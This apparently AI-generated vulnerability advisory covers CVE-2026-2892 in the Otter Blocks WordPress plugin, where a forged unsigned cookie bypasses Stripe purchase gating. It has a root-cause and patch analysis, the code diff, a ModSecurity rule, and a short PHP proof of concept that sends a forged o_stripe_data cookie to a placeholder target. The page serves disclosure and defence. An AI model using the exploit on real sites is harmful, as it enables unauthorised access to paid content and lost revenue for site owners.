Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-2892: Otter Blocks <= 3.1.4 – Improper Authorization to Unauthenticated Purchase Verification Bypass via Forged Cookie (otter-blocks)

CVE ID CVE-2026-2892
Plugin otter-blocks
Severity High (CVSS 7.5)
CWE 285
Vulnerable Version 3.1.4
Patched Version 3.1.5
Disclosed April 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2892:

This vulnerability allows an unauthenticated attacker to bypass Stripe purchase-gated content visibility checks in the Otter Blocks plugin for WordPress. The flaw exists in versions up to and including 3.1.4 and carries a CVSS score of 7.5. The core issue is that the plugin trusts an unsigned cookie (o_stripe_data) to determine whether a user has purchased a product via Stripe, without verifying the cookie’s integrity or consulting the Stripe API for one-time payment mode purchases.

Root cause: In otter-blocks/inc/plugins/class-stripe-api.php, the get_customer_data() method (lines 258-274) reads the o_stripe_data cookie directly from $_COOKIE without any cryptographic integrity check. The check_purchase() method then calls get_customer_data() and trusts the cookie data to determine product ownership. The cookie is set by the record_payment() method (lines 239-252) using setcookie() without the httponly or secure flags, and without an HMAC signature. An attacker can forge a cookie containing an arbitrary product ID. The product ID is publicly exposed in the checkout block’s HTML source as a data attribute, so the attacker can extract any product ID they wish to impersonate.

Exploitation: An attacker sends an HTTP request to any page protected by the Otter Blocks Stripe purchase gate with a forged o_stripe_data cookie. The cookie value is a JSON array containing objects with an ‘id’ field set to the target product ID. For example, setcookie(‘o_stripe_data’, ‘[{“id”:”prod_target”}]’). The PHP code decodes this JSON in get_customer_data() and passes it to check_purchase(), which treats the data as valid proof of purchase. No nonce, signature, or server-side verification is performed against Stripe for one-time payments. The attacker does not need authentication; the cookie is sent with any request to the WordPress site, and any page displaying gated content will read the forged cookie.

Patch analysis: The patch in class-stripe-api.php adds HMAC integrity verification. When setting the cookie (record_payment()), the plugin now creates a second cookie, o_stripe_hmac_data, containing hash_hmac(‘sha256’, wp_json_encode($data), wp_salt()). When reading the cookie (get_customer_data()), the plugin first checks for both o_stripe_data and o_stripe_hmac_data, then recomputes the HMAC using the same secret (wp_salt()) and verifies it with hash_equals(). If the HMAC does not match, the data is discarded. This prevents an attacker from forging the o_stripe_data cookie because they do not have access to the site’s wp_salt() value. Additionally, the patch adds the httponly and secure flags to both cookies, making them harder to steal via XSS.

Impact: Successful exploitation allows an unauthenticated attacker to bypass Stripe purchase-gated content visibility conditions. This means they can view premium content, digital downloads, or any other material that the site administrator has restricted to customers who have completed a Stripe purchase. The attack requires no special privileges, no interaction with a legitimate user, and no prior knowledge of the product ID (which is exposed in the HTML source). This can lead to unauthorized access to paid content, loss of revenue for content creators, and potential data exposure if the gated content includes sensitive information.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/otter-blocks/build/animation/frontend.asset.php
+++ b/otter-blocks/build/animation/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '85c87361b4be0dc88708');
+<?php return array('dependencies' => array(), 'version' => 'c44084e33dc17a73066a');
--- a/otter-blocks/build/blocks/blocks.asset.php
+++ b/otter-blocks/build/blocks/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-plugins', 'wp-primitives', 'wp-rich-text', 'wp-server-side-render', 'wp-url'), 'version' => '1f3cd78557ad425c7930');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-plugins', 'wp-primitives', 'wp-rich-text', 'wp-server-side-render', 'wp-url'), 'version' => '20ce5cad211d8091741a');
--- a/otter-blocks/build/blocks/form.asset.php
+++ b/otter-blocks/build/blocks/form.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '9135d80b9976657ad67b');
+<?php return array('dependencies' => array(), 'version' => '27b26b0b78d87efb81b4');
--- a/otter-blocks/build/blocks/tabs.asset.php
+++ b/otter-blocks/build/blocks/tabs.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '4bc41bcd5550058f5a3d');
+<?php return array('dependencies' => array(), 'version' => '7f25dee0438b96b3a1f7');
--- a/otter-blocks/inc/class-main.php
+++ b/otter-blocks/inc/class-main.php
@@ -30,7 +30,7 @@
 	 */
 	public function init() {
 		if ( ! defined( 'THEMEISLE_BLOCKS_VERSION' ) ) {
-			define( 'THEMEISLE_BLOCKS_VERSION', '3.1.4' );
+			define( 'THEMEISLE_BLOCKS_VERSION', '3.1.5' );
 		}

 		add_action( 'init', array( $this, 'autoload_classes' ), 9 );
--- a/otter-blocks/inc/class-registration.php
+++ b/otter-blocks/inc/class-registration.php
@@ -386,7 +386,7 @@

 		}

-		if ( function_exists( 'get_block_templates' ) && function_exists( 'wp_is_block_theme' ) && wp_is_block_theme() && current_theme_supports( 'block-templates' ) ) {
+		if ( function_exists( 'get_block_templates' ) && ( current_theme_supports( 'block-templates' ) || current_theme_supports( 'block-template-parts' ) ) ) {
 			$this->enqueue_dependencies( 'block-templates' );
 		}
 	}
@@ -406,25 +406,42 @@
 		} elseif ( 'block-templates' === $post ) {
 			global $_wp_current_template_content;

-			$slugs           = array();
-			$template_blocks = parse_blocks( $_wp_current_template_content );
+			$content = '';
+			$slugs   = array();

-			foreach ( $template_blocks as $template_block ) {
-				if ( 'core/template-part' === $template_block['blockName'] ) {
-					$slugs[] = $template_block['attrs']['slug'];
+			// If we have template content (full block templates), extract template part slugs.
+			if ( ! empty( $_wp_current_template_content ) ) {
+				$template_blocks = parse_blocks( $_wp_current_template_content );
+
+				foreach ( $template_blocks as $template_block ) {
+					if ( 'core/template-part' === $template_block['blockName'] && isset( $template_block['attrs']['slug'] ) ) {
+						$slugs[] = $template_block['attrs']['slug'];
+					}
 				}
-			}
-
-			$templates_parts = get_block_templates( array( 'slugs__in' => $slugs ), 'wp_template_part' );
-
-			foreach ( $templates_parts as $templates_part ) {
-				if ( ! empty( $templates_part->content ) && ! empty( $templates_part->slug ) && in_array( $templates_part->slug, $slugs ) ) {
-					$content .= $templates_part->content;
+
+				// Get the specific template parts referenced in the template.
+				$templates_parts = get_block_templates( array( 'slug__in' => $slugs ), 'wp_template_part' );
+
+				foreach ( $templates_parts as $templates_part ) {
+					if ( ! empty( $templates_part->content ) && ! empty( $templates_part->slug ) && in_array( $templates_part->slug, $slugs ) ) {
+						$content .= $templates_part->content;
+					}
+				}
+
+				$content .= $_wp_current_template_content;
+			} else {
+				// Fallback for classic themes with block-template-parts only.
+				// Get all template parts since we can't determine which ones are used.
+				$templates_parts = get_block_templates( array(), 'wp_template_part' );
+
+				foreach ( $templates_parts as $templates_part ) {
+					if ( ! empty( $templates_part->content ) ) {
+						$content .= $templates_part->content;
+					}
 				}
 			}

-			$content .= $_wp_current_template_content;
-			$post     = $content;
+			$post = $content;
 		} else {
 			$content = get_the_content( null, false, $post );
 		}
@@ -1065,7 +1082,7 @@
 	 * @access public
 	 */
 	public static function condition_hide_on_style() {
-		echo '<style id="o-condition-hide-inline-css">@media (max-width:768px){.o-hide-on-mobile{display:none!important}}@media (min-width:767px) and (max-width:1024px){.o-hide-on-tablet{display:none!important}}@media (min-width:1023px){.o-hide-on-desktop{display:none!important}}</style>';
+		echo '<style id="o-condition-hide-inline-css">@media (max-width:768px){.o-hide-on-mobile{display:none!important}}@media (min-width:769px) and (max-width:1024px){.o-hide-on-tablet{display:none!important}}@media (min-width:1025px){.o-hide-on-desktop{display:none!important}}</style>';
 	}

 	/**
--- a/otter-blocks/inc/css/class-block-frontend.php
+++ b/otter-blocks/inc/css/class-block-frontend.php
@@ -577,32 +577,47 @@
 	 * @access  public
 	 */
 	public function enqueue_fse_css() {
-		if ( ! ( function_exists( 'get_block_templates' ) && function_exists( 'wp_is_block_theme' ) && wp_is_block_theme() && current_theme_supports( 'block-templates' ) ) ) {
+		if ( ! ( function_exists( 'get_block_templates' ) && ( current_theme_supports( 'block-templates' ) || current_theme_supports( 'block-template-parts' ) ) ) ) {
 			return;
 		}

 		global $_wp_current_template_content;

-		$content         = '';
-		$slugs           = array();
-		$template_blocks = parse_blocks( $_wp_current_template_content );
+		$content = '';
+		$slugs   = array();

-		foreach ( $template_blocks as $template_block ) {
-			if ( 'core/template-part' === $template_block['blockName'] ) {
-				$slugs[] = $template_block['attrs']['slug'];
+		// If we have template content (full block templates), extract template part slugs.
+		if ( ! empty( $_wp_current_template_content ) ) {
+			$template_blocks = parse_blocks( $_wp_current_template_content );
+
+			foreach ( $template_blocks as $template_block ) {
+				if ( 'core/template-part' === $template_block['blockName'] && isset( $template_block['attrs']['slug'] ) ) {
+					$slugs[] = $template_block['attrs']['slug'];
+				}
 			}
-		}
-
-		$templates_parts = get_block_templates( array( 'slugs__in' => $slugs ), 'wp_template_part' );
-
-		foreach ( $templates_parts as $templates_part ) {
-			if ( ! empty( $templates_part->content ) && ! empty( $templates_part->slug ) && in_array( $templates_part->slug, $slugs ) ) {
-				$content .= $templates_part->content;
+
+			// Get the specific template parts referenced in the template.
+			$templates_parts = get_block_templates( array( 'slug__in' => $slugs ), 'wp_template_part' );
+
+			foreach ( $templates_parts as $templates_part ) {
+				if ( ! empty( $templates_part->content ) && ! empty( $templates_part->slug ) && in_array( $templates_part->slug, $slugs ) ) {
+					$content .= $templates_part->content;
+				}
+			}
+
+			$content .= $_wp_current_template_content;
+		} else {
+			// Fallback for classic themes with block-template-parts only.
+			// Get all template parts since we can't determine which ones are used.
+			$templates_parts = get_block_templates( array(), 'wp_template_part' );
+
+			foreach ( $templates_parts as $templates_part ) {
+				if ( ! empty( $templates_part->content ) ) {
+					$content .= $templates_part->content;
+				}
 			}
 		}

-		$content .= $_wp_current_template_content;
-
 		$blocks = parse_blocks( $content );

 		if ( ! is_array( $blocks ) || empty( $blocks ) ) {
--- a/otter-blocks/inc/plugins/class-stripe-api.php
+++ b/otter-blocks/inc/plugins/class-stripe-api.php
@@ -239,7 +239,11 @@
 		array_push( $data, $object );

 		if ( defined( 'COOKIEPATH' ) && defined( 'COOKIE_DOMAIN' ) && ! headers_sent() && ! $user_id ) {
-			setcookie( 'o_stripe_data', wp_json_encode( $data ), strtotime( '+1 week' ), COOKIEPATH, COOKIE_DOMAIN, false ); // phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.cookies_setcookie
+			$data      = wp_json_encode( $data );
+			$hmac_data = hash_hmac( 'sha256', $data, wp_salt() );
+			$secure    = function_exists( 'is_ssl' ) ? is_ssl() : ( ! empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) !== 'off' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			setcookie( 'o_stripe_data', $data, strtotime( '+1 week' ), COOKIEPATH, COOKIE_DOMAIN, $secure, true ); // phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.cookies_setcookie
+			setcookie( 'o_stripe_hmac_data', $hmac_data, strtotime( '+1 week' ), COOKIEPATH, COOKIE_DOMAIN, $secure, true ); // phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.cookies_setcookie
 			return;
 		}

@@ -258,8 +262,13 @@
 		$user_id = get_current_user_id();

 		if ( ! $user_id ) {
-			if ( isset( $_COOKIE['o_stripe_data'] ) && ! empty( $_COOKIE['o_stripe_data'] ) ) { // phpcs:ignore WordPressVIPMinimum.Variables.RestrictedVariables.cache_constraints___COOKIE
-				$data = json_decode( stripcslashes( $_COOKIE['o_stripe_data'] ), true ); // phpcs:ignore WordPressVIPMinimum.Variables.RestrictedVariables.cache_constraints___COOKIE, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			if ( isset( $_COOKIE['o_stripe_data'] ) && ! empty( $_COOKIE['o_stripe_data'] ) && isset( $_COOKIE['o_stripe_hmac_data'] ) && ! empty( $_COOKIE['o_stripe_hmac_data'] ) ) { // phpcs:ignore WordPressVIPMinimum.Variables.RestrictedVariables.cache_constraints___COOKIE
+				$data_raw  = stripcslashes( $_COOKIE['o_stripe_data'] ); // phpcs:ignore WordPressVIPMinimum.Variables.RestrictedVariables.cache_constraints___COOKIE, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				$hmac_data = sanitize_text_field( $_COOKIE['o_stripe_hmac_data'] ); // phpcs:ignore WordPressVIPMinimum.Variables.RestrictedVariables.cache_constraints___COOKIE
+
+				if ( hash_equals( hash_hmac( 'sha256', $data_raw, wp_salt() ), $hmac_data ) ) {
+					$data = json_decode( $data_raw, true );
+				}
 			}

 			return $data;
--- a/otter-blocks/otter-blocks.php
+++ b/otter-blocks/otter-blocks.php
@@ -7,7 +7,7 @@
  * Plugin Name:       Otter – Page Builder Blocks & Extensions for Gutenberg
  * Plugin URI:        https://themeisle.com/plugins/otter-blocks
  * Description:       Create beautiful and attracting posts, pages, and landing pages with Otter – Page Builder Blocks & Extensions for Gutenberg. Otter comes with dozens of Gutenberg blocks that are all you need to build beautiful pages.
- * Version:           3.1.4
+ * Version:           3.1.5
  * Author:            ThemeIsle
  * Author URI:        https://themeisle.com
  * License:           GPL-2.0+
@@ -26,7 +26,7 @@
 define( 'OTTER_BLOCKS_BASEFILE', __FILE__ );
 define( 'OTTER_BLOCKS_URL', plugins_url( '/', __FILE__ ) );
 define( 'OTTER_BLOCKS_PATH', __DIR__ );
-define( 'OTTER_BLOCKS_VERSION', '3.1.4' );
+define( 'OTTER_BLOCKS_VERSION', '3.1.5' );
 define( 'OTTER_BLOCKS_PRO_SUPPORT', true );
 define( 'OTTER_BLOCKS_SHOW_NOTICES', false );
 define( 'OTTER_PRODUCT_SLUG', basename( OTTER_BLOCKS_PATH ) );
--- a/otter-blocks/vendor/composer/installed.php
+++ b/otter-blocks/vendor/composer/installed.php
@@ -1,8 +1,8 @@
 <?php return array(
     'root' => array(
         'name' => 'codeinwp/otter-blocks',
-        'pretty_version' => '3.1.4',
-        'version' => '3.1.4.0',
+        'pretty_version' => '3.1.5',
+        'version' => '3.1.5.0',
         'reference' => null,
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
@@ -11,8 +11,8 @@
     ),
     'versions' => array(
         'codeinwp/otter-blocks' => array(
-            'pretty_version' => '3.1.4',
-            'version' => '3.1.4.0',
+            'pretty_version' => '3.1.5',
+            'version' => '3.1.5.0',
             'reference' => null,
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2892
SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES "@rx (?:o_stripe_data)" "id:20262892,phase:2,deny,status:403,chain,msg:'CVE-2026-2892 Purchase Verification Bypass via Forged Cookie',severity:CRITICAL,tag:CVE-2026-2892"
SecRule MATCHED_VAR "@rx ^o_stripe_data$" "t:none,chain"
SecRule MATCHED_VARS_NAMES "@rx ^o_stripe_data$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2892 - Otter Blocks <= 3.1.4 Purchase Verification Bypass via Forged Cookie

// Configuration
$target_url = 'http://example.com/protected-page/';  // Target WordPress URL with gated content
$product_id = 'prod_123456';                         // Target product ID to bypass

// Step 1: Encode the forged cookie data
$cookie_data = json_encode([
    [
        'id' => $product_id
    ]
]);

// Step 2: Send request with forged o_stripe_data cookie
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'o_stripe_data=' . urlencode($cookie_data));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Check the result
echo "HTTP Code: " . $http_code . "n";
if ($http_code == 200) {
    echo "[+] Request succeeded. Check the response body for gated content.n";
} else {
    echo "[-] Request failed with HTTP code " . $http_code . ".n";
}
echo "[+] Attempted to bypass purchase verification for product ID: " . $product_id . "n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School